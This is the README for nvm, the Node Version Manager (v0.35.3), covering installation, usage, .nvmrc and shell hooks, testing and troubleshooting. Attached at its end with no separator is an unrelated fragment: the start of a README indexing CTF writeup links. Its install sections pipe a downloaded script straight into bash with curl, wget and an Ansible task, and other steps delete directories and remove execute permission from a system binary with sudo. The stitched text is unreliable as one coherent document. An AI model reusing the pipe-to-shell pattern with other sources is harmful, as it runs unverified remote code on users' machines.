# Node Version Manager [![Build Status](https://travis-ci.org/nvm-sh/nvm.svg?branch=master)][3] [![nvm version](https://img.shields.io/badge/version-v0.35.3-yellow.svg)][4] [![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/684/badge)](https://bestpractices.coreinfrastructure.org/projects/684) <!-- To update this table of contents, ensure you have run `npm install` then `npm run doctoc` --> <!-- START doctoc generated TOC please keep comment here to allow auto update --> <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --> ## Table of Contents - [About](#about) - [Installing and Updating](#installing-and-updating) - [Install & Update Script](#install--update-script) - [Additional Notes](#additional-notes) - [Troubleshooting on Linux](#troubleshooting-on-linux) - [Troubleshooting on macOS](#troubleshooting-on-macos) - [Ansible](#ansible) - [Verify Installation](#verify-installation) - [Important Notes](#important-notes) - [Git Install](#git-install) - [Manual Install](#manual-install) - [Manual Upgrade](#manual-upgrade) - [Usage](#usage) - [Long-term Support](#long-term-support) - [Migrating Global Packages While Installing](#migrating-global-packages-while-installing) - [Default Global Packages From File While Installing](#default-global-packages-from-file-while-installing) - [io.js](#iojs) - [System Version of Node](#system-version-of-node) - [Listing Versions](#listing-versions) - [Suppressing colorized output](#suppressing-colorized-output) - [.nvmrc](#nvmrc) - [Deeper Shell Integration](#deeper-shell-integration) - [bash](#bash) - [Automatically call `nvm use`](#automatically-call-nvm-use) - [zsh](#zsh) - [Calling `nvm use` automatically in a directory with a `.nvmrc` file](#calling-nvm-use-automatically-in-a-directory-with-a-nvmrc-file) - [fish](#fish) - [Calling `nvm use` automatically in a directory with a `.nvmrc` file](#calling-nvm-use-automatically-in-a-directory-with-a-nvmrc-file-1) - [License](#license) - [Running Tests](#running-tests) - [Environment variables](#environment-variables) - [Bash Completion](#bash-completion) - [Usage](#usage-1) - [Compatibility Issues](#compatibility-issues) - [Installing nvm on Alpine Linux](#installing-nvm-on-alpine-linux) - [Uninstalling / Removal](#uninstalling--removal) - [Manual Uninstall](#manual-uninstall) - [Docker For Development Environment](#docker-for-development-environment) - [Problems](#problems) - [macOS Troubleshooting](#macos-troubleshooting) <!-- END doctoc generated TOC please keep comment here to allow auto update --> ## About nvm is a version manager for [node.js](https://nodejs.org/en/), designed to be installed per-user, and invoked per-shell. `nvm` works on any POSIX-compliant shell (sh, dash, ksh, zsh, bash), in particular on these platforms: unix, macOS, and windows WSL. <a id="installation-and-update"></a> <a id="install-script"></a> ## Installing and Updating ### Install & Update Script To **install** or **update** nvm, you should run the [install script][2]. To do that, you may either download and run the script manually, or use the following cURL or Wget command: ```sh curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.3/install.sh | bash ``` ```sh wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.3/install.sh | bash ``` Running either of the above commands downloads a script and runs it. The script clones the nvm repository to `~/.nvm`, and attempts to add the source lines from the snippet below to the correct profile file (`~/.bash_profile`, `~/.zshrc`, `~/.profile`, or `~/.bashrc`). <a id="profile_snippet"></a> ```sh export NVM_DIR="$([ -z "${XDG_CONFIG_HOME-}" ] && printf %s "${HOME}/.nvm" || printf %s "${XDG_CONFIG_HOME}/nvm")" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm ``` #### Additional Notes - If the environment variable `$XDG_CONFIG_HOME` is present, it will place the `nvm` files there.</sub> - You can add `--no-use` to the end of the above script (...`nvm.sh --no-use`) to postpone using `nvm` until you manually [`use`](#usage) it. - You can customize the install source, directory, profile, and version using the `NVM_SOURCE`, `NVM_DIR`, `PROFILE`, and `NODE_VERSION` variables. Eg: `curl ... | NVM_DIR="path/to/nvm"`. Ensure that the `NVM_DIR` does not contain a trailing slash. - The installer can use `git`, `curl`, or `wget` to download `nvm`, whichever is available. #### Troubleshooting on Linux On Linux, after running the install script, if you get `nvm: command not found` or see no feedback from your terminal after you type `command -v nvm`, simply close your current terminal, open a new terminal, and try verifying again. #### Troubleshooting on macOS Since OS X 10.9, `/usr/bin/git` has been preset by Xcode command line tools, which means we can't properly detect if Git is installed or not. You need to manually install the Xcode command line tools before running the install script, otherwise, it'll fail. (see [#1782](https://github.com/nvm-sh/nvm/issues/1782)) If you get `nvm: command not found` after running the install script, one of the following might be the reason: - Since macOS 10.15, the default shell is `zsh` and nvm will look for `.zshrc` to update, none is installed by default. Create one with `touch ~/.zshrc` and run the install script again. - If you use bash, the previous default shell, run `touch ~/.bash_profile` to create the necessary profile file if it does not exist. - You might need to restart your terminal instance or run `. ~/.nvm/nvm.sh`. Restarting your terminal/opening a new tab/window, or running the source command will load the command and the new configuration. If the above doesn't fix the problem, you may try the following: - If you use bash, it may be that your `.bash_profile` (or `~/.profile`) does not source your `~/.bashrc` properly. You could fix this by adding `source ~/<your_profile_file>` to it or follow the next step below. - Try adding [the snippet from the install section](#profile_snippet), that finds the correct nvm directory and loads nvm, to your usual profile (`~/.bash_profile`, `~/.zshrc`, `~/.profile`, or `~/.bashrc`). - For more information about this issue and possible workarounds, please [refer here](https://github.com/nvm-sh/nvm/issues/576) #### Ansible You can use a task: ```yaml - name: nvm shell: > curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.3/install.sh | bash args: creates: "{{ ansible_env.HOME }}/.nvm/nvm.sh" ``` ### Verify Installation To verify that nvm has been installed, do: ```sh command -v nvm ``` which should output `nvm` if the installation was successful. Please note that `which nvm` will not work, since `nvm` is a sourced shell function, not an executable binary. ### Important Notes If you're running a system without prepackaged binary available, which means you're going to install nodejs or io.js from its source code, you need to make sure your system has a C++ compiler. For OS X, Xcode will work, for Debian/Ubuntu based GNU/Linux, the `build-essential` and `libssl-dev` packages work. **Note:** `nvm` does not support Windows (see [#284](https://github.com/nvm-sh/nvm/issues/284)), but may work in WSL (Windows Subsystem for Linux) depending on the version of WSL. For Windows, two alternatives exist, which are neither supported nor developed by us: - [nvm-windows](https://github.com/coreybutler/nvm-windows) - [nodist](https://github.com/marcelklehr/nodist) **Note:** `nvm` does not support [Fish] either (see [#303](https://github.com/nvm-sh/nvm/issues/303)). Alternatives exist, which are neither supported nor developed by us: - [bass](https://github.com/edc/bass) allows you to use utilities written for Bash in fish shell - [fast-nvm-fish](https://github.com/brigand/fast-nvm-fish) only works with version numbers (not aliases) but doesn't significantly slow your shell startup - [plugin-nvm](https://github.com/derekstavis/plugin-nvm) plugin for [Oh My Fish](https://github.com/oh-my-fish/oh-my-fish), which makes nvm and its completions available in fish shell - [fnm](https://github.com/fisherman/fnm) - [fisherman](https://github.com/fisherman/fisherman)-based version manager for fish - [fish-nvm](https://github.com/FabioAntunes/fish-nvm) - Wrapper around nvm for fish, delays sourcing nvm until it's actually used. **Note:** We still have some problems with FreeBSD, because there is no official pre-built binary for FreeBSD, and building from source may need [patches](https://www.freshports.org/www/node/files/patch-deps_v8_src_base_platform_platform-posix.cc); see the issue ticket: - [[#900] [Bug] nodejs on FreeBSD may need to be patched](https://github.com/nvm-sh/nvm/issues/900) - [nodejs/node#3716](https://github.com/nodejs/node/issues/3716) **Note:** On OS X, if you do not have Xcode installed and you do not wish to download the ~4.3GB file, you can install the `Command Line Tools`. You can check out this blog post on how to just that: - [How to Install Command Line Tools in OS X Mavericks & Yosemite (Without Xcode)](http://osxdaily.com/2014/02/12/install-command-line-tools-mac-os-x/) **Note:** On OS X, if you have/had a "system" node installed and want to install modules globally, keep in mind that: - When using `nvm` you do not need `sudo` to globally install a module with `npm -g`, so instead of doing `sudo npm install -g grunt`, do instead `npm install -g grunt` - If you have an `~/.npmrc` file, make sure it does not contain any `prefix` settings (which is not compatible with `nvm`) - You can (but should not?) keep your previous "system" node install, but `nvm` will only be available to your user account (the one used to install nvm). This might cause version mismatches, as other users will be using `/usr/local/lib/node_modules/*` VS your user account using `~/.nvm/versions/node/vX.X.X/lib/node_modules/*` Homebrew installation is not supported. If you have issues with homebrew-installed `nvm`, please `brew uninstall` it, and install it using the instructions below, before filing an issue. **Note:** If you're using `zsh` you can easily install `nvm` as a zsh plugin. Install [`zsh-nvm`](https://github.com/lukechilds/zsh-nvm) and run `nvm upgrade` to upgrade. **Note:** Git versions before v1.7 may face a problem of cloning `nvm` source from GitHub via https protocol, and there is also different behavior of git before v1.6, and git prior to [v1.17.10](https://github.com/git/git/commit/5a7d5b683f869d3e3884a89775241afa515da9e7) can not clone tags, so the minimum required git version is v1.7.10. If you are interested in the problem we mentioned here, please refer to GitHub's [HTTPS cloning errors](https://help.github.com/articles/https-cloning-errors/) article. ### Git Install If you have `git` installed (requires git v1.7.10+): 1. clone this repo in the root of your user profile - `cd ~/` from anywhere then `git clone https://github.com/nvm-sh/nvm.git .nvm` 1. `cd ~/.nvm` and check out the latest version with `git checkout v0.35.3` 1. activate `nvm` by sourcing it from your shell: `. nvm.sh` Now add these lines to your `~/.bashrc`, `~/.profile`, or `~/.zshrc` file to have it automatically sourced upon login: (you may have to add to more than one of the above files) ```sh export NVM_DIR="$HOME/.nvm" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm [ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion" # This loads nvm bash_completion ``` ### Manual Install For a fully manual install, execute the following lines to first clone the `nvm` repository into `$HOME/.nvm`, and then load `nvm`: ```sh export NVM_DIR="$HOME/.nvm" && ( git clone https://github.com/nvm-sh/nvm.git "$NVM_DIR" cd "$NVM_DIR" git checkout `git describe --abbrev=0 --tags --match "v[0-9]*" $(git rev-list --tags --max-count=1)` ) && \. "$NVM_DIR/nvm.sh" ``` Now add these lines to your `~/.bashrc`, `~/.profile`, or `~/.zshrc` file to have it automatically sourced upon login: (you may have to add to more than one of the above files) ```sh export NVM_DIR="$HOME/.nvm" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm ``` ### Manual Upgrade For manual upgrade with `git` (requires git v1.7.10+): 1. change to the `$NVM_DIR` 1. pull down the latest changes 1. check out the latest version 1. activate the new version ```sh ( cd "$NVM_DIR" git fetch --tags origin git checkout `git describe --abbrev=0 --tags --match "v[0-9]*" $(git rev-list --tags --max-count=1)` ) && \. "$NVM_DIR/nvm.sh" ``` ## Usage To download, compile, and install the latest release of node, do this: ```sh nvm install node # "node" is an alias for the latest version ``` To install a specific version of node: ```sh nvm install 6.14.4 # or 10.10.0, 8.9.1, etc ``` The first version installed becomes the default. New shells will start with the default version of node (e.g., `nvm alias default`). You can list available versions using `ls-remote`: ```sh nvm ls-remote ``` And then in any new shell just use the installed version: ```sh nvm use node ``` Or you can just run it: ```sh nvm run node --version ``` Or, you can run any arbitrary command in a subshell with the desired version of node: ```sh nvm exec 4.2 node --version ``` You can also get the path to the executable to where it was installed: ```sh nvm which 5.0 ``` In place of a version pointer like "0.10" or "5.0" or "4.2.1", you can use the following special default aliases with `nvm install`, `nvm use`, `nvm run`, `nvm exec`, `nvm which`, etc: - `node`: this installs the latest version of [`node`](https://nodejs.org/en/) - `iojs`: this installs the latest version of [`io.js`](https://iojs.org/en/) - `stable`: this alias is deprecated, and only truly applies to `node` `v0.12` and earlier. Currently, this is an alias for `node`. - `unstable`: this alias points to `node` `v0.11` - the last "unstable" node release, since post-1.0, all node versions are stable. (in SemVer, versions communicate breakage, not stability). ### Long-term Support Node has a [schedule](https://github.com/nodejs/Release#release-schedule) for long-term support (LTS) You can reference LTS versions in aliases and `.nvmrc` files with the notation `lts/*` for the latest LTS, and `lts/argon` for LTS releases from the "argon" line, for example. In addition, the following commands support LTS arguments: - `nvm install --lts` / `nvm install --lts=argon` / `nvm install 'lts/*'` / `nvm install lts/argon` - `nvm uninstall --lts` / `nvm uninstall --lts=argon` / `nvm uninstall 'lts/*'` / `nvm uninstall lts/argon` - `nvm use --lts` / `nvm use --lts=argon` / `nvm use 'lts/*'` / `nvm use lts/argon` - `nvm exec --lts` / `nvm exec --lts=argon` / `nvm exec 'lts/*'` / `nvm exec lts/argon` - `nvm run --lts` / `nvm run --lts=argon` / `nvm run 'lts/*'` / `nvm run lts/argon` - `nvm ls-remote --lts` / `nvm ls-remote --lts=argon` `nvm ls-remote 'lts/*'` / `nvm ls-remote lts/argon` - `nvm version-remote --lts` / `nvm version-remote --lts=argon` / `nvm version-remote 'lts/*'` / `nvm version-remote lts/argon` Any time your local copy of `nvm` connects to https://nodejs.org, it will re-create the appropriate local aliases for all available LTS lines. These aliases (stored under `$NVM_DIR/alias/lts`), are managed by `nvm`, and you should not modify, remove, or create these files - expect your changes to be undone, and expect meddling with these files to cause bugs that will likely not be supported. To get the latest LTS version of node and migrate your existing installed packages, use ```sh nvm install --lts --reinstall-packages-from=current ``` ### Migrating Global Packages While Installing If you want to install a new version of Node.js and migrate npm packages from a previous version: ```sh nvm install node --reinstall-packages-from=node ``` This will first use "nvm version node" to identify the current version you're migrating packages from. Then it resolves the new version to install from the remote server and installs it. Lastly, it runs "nvm reinstall-packages" to reinstall the npm packages from your prior version of Node to the new one. You can also install and migrate npm packages from specific versions of Node like this: ```sh nvm install 6 --reinstall-packages-from=5 nvm install v4.2 --reinstall-packages-from=iojs ``` Note that reinstalling packages _explicitly does not update the npm version_ — this is to ensure that npm isn't accidentally upgraded to a broken version for the new node version. To update npm at the same time add the `--latest-npm` flag, like this: ```sh nvm install lts/* --reinstall-packages-from=default --latest-npm ``` or, you can at any time run the following command to get the latest supported npm version on the current node version: ```sh nvm install-latest-npm ``` If you've already gotten an error to the effect of "npm does not support Node.js", you'll need to (1) revert to a previous node version (`nvm ls` & `nvm use <your latest _working_ version from the ls>`, (2) delete the newly created node version (`nvm uninstall <your _broken_ version of node from the ls>`), then (3) rerun your `nvm install` with the `--latest-npm` flag. ### Default Global Packages From File While Installing If you have a list of default packages you want installed every time you install a new version, we support that too -- just add the package names, one per line, to the file `$NVM_DIR/default-packages`. You can add anything npm would accept as a package argument on the command line. ```sh # $NVM_DIR/default-packages rimraf [email protected] stevemao/left-pad ``` ### io.js If you want to install [io.js](https://github.com/iojs/io.js/): ```sh nvm install iojs ``` If you want to install a new version of io.js and migrate npm packages from a previous version: ```sh nvm install iojs --reinstall-packages-from=iojs ``` The same guidelines mentioned for migrating npm packages in node are applicable to io.js. ### System Version of Node If you want to use the system-installed version of node, you can use the special default alias "system": ```sh nvm use system nvm run system --version ``` ### Listing Versions If you want to see what versions are installed: ```sh nvm ls ``` If you want to see what versions are available to install: ```sh nvm ls-remote ``` #### Suppressing colorized output `nvm ls`, `nvm ls-remote` and `nvm alias` usually produce colorized output. You can disable colors with the `--no-colors` option (or by setting the environment variable `TERM=dumb`): ```sh nvm ls --no-colors TERM=dumb nvm ls ``` To restore your PATH, you can deactivate it: ```sh nvm deactivate ``` To set a default Node version to be used in any new shell, use the alias 'default': ```sh nvm alias default node ``` To use a mirror of the node binaries, set `$NVM_NODEJS_ORG_MIRROR`: ```sh export NVM_NODEJS_ORG_MIRROR=https://nodejs.org/dist nvm install node NVM_NODEJS_ORG_MIRROR=https://nodejs.org/dist nvm install 4.2 ``` To use a mirror of the io.js binaries, set `$NVM_IOJS_ORG_MIRROR`: ```sh export NVM_IOJS_ORG_MIRROR=https://iojs.org/dist nvm install iojs-v1.0.3 NVM_IOJS_ORG_MIRROR=https://iojs.org/dist nvm install iojs-v1.0.3 ``` `nvm use` will not, by default, create a "current" symlink. Set `$NVM_SYMLINK_CURRENT` to "true" to enable this behavior, which is sometimes useful for IDEs. Note that using `nvm` in multiple shell tabs with this environment variable enabled can cause race conditions. ### .nvmrc You can create a `.nvmrc` file containing a node version number (or any other string that `nvm` understands; see `nvm --help` for details) in the project root directory (or any parent directory). Afterwards, `nvm use`, `nvm install`, `nvm exec`, `nvm run`, and `nvm which` will use the version specified in the `.nvmrc` file if no version is supplied on the command line. For example, to make nvm default to the latest 5.9 release, the latest LTS version, or the latest node version for the current directory: ```sh $ echo "5.9" > .nvmrc $ echo "lts/*" > .nvmrc # to default to the latest LTS version $ echo "node" > .nvmrc # to default to the latest version ``` Then when you run nvm: ```sh $ nvm use Found '/path/to/project/.nvmrc' with version <5.9> Now using node v5.9.1 (npm v3.7.3) ``` `nvm use` et. al. will traverse directory structure upwards from the current directory looking for the `.nvmrc` file. In other words, running `nvm use` et. al. in any subdirectory of a directory with an `.nvmrc` will result in that `.nvmrc` being utilized. The contents of a `.nvmrc` file **must** be the `<version>` (as described by `nvm --help`) followed by a newline. No trailing spaces are allowed, and the trailing newline is required. ### Deeper Shell Integration You can use [`avn`](https://github.com/wbyoung/avn) to deeply integrate into your shell and automatically invoke `nvm` when changing directories. `avn` is **not** supported by the `nvm` development team. Please [report issues to the `avn` team](https://github.com/wbyoung/avn/issues/new). If you prefer a lighter-weight solution, the recipes below have been contributed by `nvm` users. They are **not** supported by the `nvm` development team. We are, however, accepting pull requests for more examples. #### bash ##### Automatically call `nvm use` Put the following at the end of your `$HOME/.bashrc`: ```bash find-up () { path=$(pwd) while [[ "$path" != "" && ! -e "$path/$1" ]]; do path=${path%/*} done echo "$path" } cdnvm(){ cd "$@"; nvm_path=$(find-up .nvmrc | tr -d '\n') # If there are no .nvmrc file, use the default nvm version if [[ ! $nvm_path = *[^[:space:]]* ]]; then declare default_version; default_version=$(nvm version default); # If there is no default version, set it to `node` # This will use the latest version on your machine if [[ $default_version == "N/A" ]]; then nvm alias default node; default_version=$(nvm version default); fi # If the current version is not the default version, set it to use the default version if [[ $(nvm current) != "$default_version" ]]; then nvm use default; fi elif [[ -s $nvm_path/.nvmrc && -r $nvm_path/.nvmrc ]]; then declare nvm_version nvm_version=$(<"$nvm_path"/.nvmrc) declare locally_resolved_nvm_version # `nvm ls` will check all locally-available versions # If there are multiple matching versions, take the latest one # Remove the `->` and `*` characters and spaces # `locally_resolved_nvm_version` will be `N/A` if no local versions are found locally_resolved_nvm_version=$(nvm ls --no-colors "$nvm_version" | tail -1 | tr -d '\->*' | tr -d '[:space:]') # If it is not already installed, install it # `nvm install` will implicitly use the newly-installed version if [[ "$locally_resolved_nvm_version" == "N/A" ]]; then nvm install "$nvm_version"; elif [[ $(nvm current) != "$locally_resolved_nvm_version" ]]; then nvm use "$nvm_version"; fi fi } alias cd='cdnvm' ``` This alias would search 'up' from your current directory in order to detect a `.nvmrc` file. If it finds it, it will switch to that version; if not, it will use the default version. #### zsh ##### Calling `nvm use` automatically in a directory with a `.nvmrc` file Put this into your `$HOME/.zshrc` to call `nvm use` automatically whenever you enter a directory that contains an `.nvmrc` file with a string telling nvm which node to `use`: ```zsh # place this after nvm initialization! autoload -U add-zsh-hook load-nvmrc() { local node_version="$(nvm version)" local nvmrc_path="$(nvm_find_nvmrc)" if [ -n "$nvmrc_path" ]; then local nvmrc_node_version=$(nvm version "$(cat "${nvmrc_path}")") if [ "$nvmrc_node_version" = "N/A" ]; then nvm install elif [ "$nvmrc_node_version" != "$node_version" ]; then nvm use fi elif [ "$node_version" != "$(nvm version default)" ]; then echo "Reverting to nvm default version" nvm use default fi } add-zsh-hook chpwd load-nvmrc load-nvmrc ``` #### fish ##### Calling `nvm use` automatically in a directory with a `.nvmrc` file This requires that you have [bass](https://github.com/edc/bass) installed. ```fish # ~/.config/fish/functions/nvm.fish function nvm bass source ~/.nvm/nvm.sh --no-use ';' nvm $argv end # ~/.config/fish/functions/nvm_find_nvmrc.fish function nvm_find_nvmrc bass source ~/.nvm/nvm.sh --no-use ';' nvm_find_nvmrc end # ~/.config/fish/functions/load_nvm.fish function load_nvm --on-variable="PWD" set -l default_node_version (nvm version default) set -l node_version (nvm version) set -l nvmrc_path (nvm_find_nvmrc) if test -n "$nvmrc_path" set -l nvmrc_node_version (nvm version (cat $nvmrc_path)) if test "$nvmrc_node_version" = "N/A" nvm install (cat $nvmrc_path) else if test nvmrc_node_version != node_version nvm use $nvmrc_node_version end else if test "$node_version" != "$default_node_version" echo "Reverting to default Node version" nvm use default end end # ~/.config/fish/config.fish # You must call it on initialization or listening to directory switching won't work load_nvm ``` ## License nvm is released under the MIT license. Copyright (C) 2010 Tim Caswell and Jordan Harband Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ## Running Tests Tests are written in [Urchin]. Install Urchin (and other dependencies) like so: npm install There are slow tests and fast tests. The slow tests do things like install node and check that the right versions are used. The fast tests fake this to test things like aliases and uninstalling. From the root of the nvm git repository, run the fast tests like this: npm run test/fast Run the slow tests like this: npm run test/slow Run all of the tests like this: npm test Nota bene: Avoid running nvm while the tests are running. ## Environment variables nvm exposes the following environment variables: - `NVM_DIR` - nvm's installation directory. - `NVM_BIN` - where node, npm, and global packages for the active version of node are installed. - `NVM_INC` - node's include file directory (useful for building C/C++ addons for node). - `NVM_CD_FLAGS` - used to maintain compatibility with zsh. - `NVM_RC_VERSION` - version from .nvmrc file if being used. Additionally, nvm modifies `PATH`, and, if present, `MANPATH` and `NODE_PATH` when changing versions. ## Bash Completion To activate, you need to source `bash_completion`: ```sh [[ -r $NVM_DIR/bash_completion ]] && \. $NVM_DIR/bash_completion ``` Put the above sourcing line just below the sourcing line for nvm in your profile (`.bashrc`, `.bash_profile`). ### Usage nvm: > $ nvm <kbd>Tab</kbd> ``` alias deactivate install ls run unload clear-cache exec list ls-remote unalias use current help list-remote reinstall-packages uninstall version ``` nvm alias: > $ nvm alias <kbd>Tab</kbd> ``` default ``` > $ nvm alias my_alias <kbd>Tab</kbd> ``` v0.6.21 v0.8.26 v0.10.28 ``` nvm use: > $ nvm use <kbd>Tab</kbd> ``` my_alias default v0.6.21 v0.8.26 v0.10.28 ``` nvm uninstall: > $ nvm uninstall <kbd>Tab</kbd> ``` my_alias default v0.6.21 v0.8.26 v0.10.28 ``` ## Compatibility Issues `nvm` will encounter some issues if you have some non-default settings set. (see [#606](/../../issues/606)) The following are known to cause issues: Inside `~/.npmrc`: ```sh prefix='some/path' ``` Environment Variables: ```sh $NPM_CONFIG_PREFIX $PREFIX ``` Shell settings: ```sh set -e ``` ## Installing nvm on Alpine Linux In order to provide the best performance (and other optimisations), nvm will download and install pre-compiled binaries for Node (and npm) when you run `nvm install X`. The Node project compiles, tests and hosts/provides these pre-compiled binaries which are built for mainstream/traditional Linux distributions (such as Debian, Ubuntu, CentOS, RedHat et al). Alpine Linux, unlike mainstream/traditional Linux distributions, is based on [BusyBox](https://www.busybox.net/), a very compact (~5MB) Linux distribution. BusyBox (and thus Alpine Linux) uses a different C/C++ stack to most mainstream/traditional Linux distributions - [musl](https://www.musl-libc.org/). This makes binary programs built for such mainstream/traditional incompatible with Alpine Linux, thus we cannot simply `nvm install X` on Alpine Linux and expect the downloaded binary to run correctly - you'll likely see "...does not exist" errors if you try that. There is a `-s` flag for `nvm install` which requests nvm download Node source and compile it locally. If installing nvm on Alpine Linux *is* still what you want or need to do, you should be able to achieve this by running the following from you Alpine Linux shell: ```sh apk add -U curl bash ca-certificates openssl ncurses coreutils python2 make gcc g++ libgcc linux-headers grep util-linux binutils findutils curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.3/install.sh | bash ``` The Node project has some desire but no concrete plans (due to the overheads of building, testing and support) to offer Alpine-compatible binaries. As a potential alternative, @mhart (a Node contributor) has some [Docker images for Alpine Linux with Node and optionally, npm, pre-installed](https://github.com/mhart/alpine-node). <a id="removal"></a> ## Uninstalling / Removal ### Manual Uninstall To remove `nvm` manually, execute the following: ```sh $ rm -rf "$NVM_DIR" ``` Edit `~/.bashrc` (or other shell resource config) and remove the lines below: ```sh export NVM_DIR="$HOME/.nvm" [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm [[ -r $NVM_DIR/bash_completion ]] && \. $NVM_DIR/bash_completion ``` ## Docker For Development Environment To make the development and testing work easier, we have a Dockerfile for development usage, which is based on Ubuntu 14.04 base image, prepared with essential and useful tools for `nvm` development, to build the docker image of the environment, run the docker command at the root of `nvm` repository: ```sh $ docker build -t nvm-dev . ``` This will package your current nvm repository with our pre-defined development environment into a docker image named `nvm-dev`, once it's built with success, validate your image via `docker images`: ```sh $ docker images REPOSITORY TAG IMAGE ID CREATED SIZE nvm-dev latest 9ca4c57a97d8 7 days ago 650 MB ``` If you got no error message, now you can easily involve in: ```sh $ docker run -h nvm-dev -it nvm-dev nvm@nvm-dev:~/.nvm$ ``` Please note that it'll take about 8 minutes to build the image and the image size would be about 650MB, so it's not suitable for production usage. For more information and documentation about docker, please refer to its official website: - https://www.docker.com/ - https://docs.docker.com/ ## Problems - If you try to install a node version and the installation fails, be sure to run `nvm cache clear` to delete cached node downloads, or you might get an error like the following: curl: (33) HTTP server doesn't seem to support byte ranges. Cannot resume. - Where's my `sudo node`? Check out [#43](https://github.com/nvm-sh/nvm/issues/43) - After the v0.8.6 release of node, nvm tries to install from binary packages. But in some systems, the official binary packages don't work due to incompatibility of shared libs. In such cases, use `-s` option to force install from source: ```sh nvm install -s 0.8.6 ``` - If setting the `default` alias does not establish the node version in new shells (i.e. `nvm current` yields `system`), ensure that the system's node `PATH` is set before the `nvm.sh` source line in your shell profile (see [#658](https://github.com/nvm-sh/nvm/issues/658)) ## macOS Troubleshooting **nvm node version not found in vim shell** If you set node version to a version other than your system node version `nvm use 6.2.1` and open vim and run `:!node -v` you should see `v6.2.1` if you see your system version `v0.12.7`. You need to run: ```shell sudo chmod ugo-x /usr/libexec/path_helper ``` More on this issue in [dotphiles/dotzsh](https://github.com/dotphiles/dotzsh#mac-os-x). **nvm is not compatible with the npm config "prefix" option** Some solutions for this issue can be found [here](https://github.com/nvm-sh/nvm/issues/1245) There is one more edge case causing this issue, and that's a **mismatch between the `$HOME` path and the user's home directory's actual name**. You have to make sure that the user directory name in `$HOME` and the user directory name you'd see from running `ls /Users/` **are capitalized the same way** ([See this issue](https://github.com/nvm-sh/nvm/issues/2261)). To change the user directory and/or account name follow the instructions [here](https://support.apple.com/en-us/HT201548) [1]: https://github.com/nvm-sh/nvm.git [2]: https://github.com/nvm-sh/nvm/blob/v0.35.3/install.sh [3]: https://travis-ci.org/nvm-sh/nvm [4]: https://github.com/nvm-sh/nvm/releases/tag/v0.35.3 [Urchin]: https://github.com/scraperwiki/urchin [Fish]: http://fishshell.com
### CTF-Challenges-Machines-Writeups-Walkthroughs WriteUps/ Walkthroughs for CTF challenges or machines - Twitter [@1r0Dm48O](https://twitter.com/1r0Dm48O) | Challenge/Machine | Writeup/Walkthrough | MD5 | Posted On | | ------------ | ------------ | ------------ | ------------ | | [peaCTF2019-Crypyo-School](https://2019.peactf.com/problems) | [Writeup-School-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/peaCTF2019/crypto/School) | [VT URL Scan](https://www.virustotal.com/gui/url/5757b17e2e74fc922b3c9f725c106fc328636955ef657ae9c6f0c0b41df1ee1e/detection) | [CTFTime-School-1v4n](https://ctftime.org/writeup/17342) | | [peaCTF2019-Crypyo-Broken Keyboard](https://2019.peactf.com/problems) | [Writeup-Broken Keyboard-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/peaCTF2019/crypto/Broken_Keyboard) | [VT URL Scan](https://www.virustotal.com/gui/url/1e1ed304865fb71740222c11ccf77d3e8185b90f4ded21500529f14875532bb4/detection) | [CTFTime-Broken Keyboard-1v4n](https://ctftime.org/writeup/17341) | | [peaCTF2019-Crypyo-Breakfast](https://2019.peactf.com/problems) | [Writeup-Breakfast-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/peaCTF2019/crypto/Breakfast) | [VT URL Scan](https://www.virustotal.com/gui/url/3e13a71eda4c5e47c36fa3eacbe3feb4772969c95882ac69e2b71a9270a4d604/detection) | [CTFTime-Brekfast-1v4n](https://ctftime.org/writeup/17342) | | [shs2k19CTF-Reversing-Rev03](http://ctf.securityhighschool.es/challenges?category=reversing) | [Writeup-Rev03-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/shs2k19CTF/rev/rev03) | [VT URL Scan](https://www.virustotal.com/gui/url/0a5a9f15265026ab612cdf55f4bae781910aa5d074b264550f9d8aaef528482f/detection) | | | [shs2k19CTF-Reversing-Rev01](http://ctf.securityhighschool.es/challenges?category=reversing) | [Writeup-Rev01-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/shs2k19CTF/rev/rev01) | [VT URL Scan](https://www.virustotal.com/gui/url/eb239a6cf2529076ce31c4375326a1ffccfd8f0e00e4b6241aabbc9c23c52b78/detection) | | | [HTB-Challenges-Hackerman](https://www.hackthebox.eu/home/challenges/Stego) | [Writeup-HTB-Hackerman-1v4n](https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/HTB/Challenges/Stego/Hackerman) | [VT URL Scan](https://www.virustotal.com/gui/url/8617823f21d95de6ab302b2898f01c2f4701a972e86f899ab53de72383dbec6c/detection) | [Interferencias HTB Challenge Writeup Hackerman](https://interferencias.tech/2019/10/01/htb-hackerman/) | | 